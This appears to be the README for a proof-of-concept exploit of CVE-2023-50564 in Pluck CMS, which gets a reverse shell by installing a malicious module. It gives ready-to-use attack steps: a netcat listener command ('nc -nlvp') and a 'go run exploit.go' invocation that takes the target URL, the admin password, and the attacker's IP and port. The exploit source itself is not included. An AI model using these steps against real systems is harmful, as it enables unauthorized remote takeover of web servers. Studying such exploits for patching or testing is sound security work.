
Proof-of-concept exploit for CVE-2023-50564 targeting Pluck CMS, delivering a reverse shell via malicious module installation.
First setup a listener for the reverse shell.
Terminal 1
nc -nlvp <lport>
Execute the script which will attempt to install a pluck module sending the reverse shell back to us.
Terminal 2
go run exploit.go -url <url> -password <passwd> -i <your-ip> -p <lport>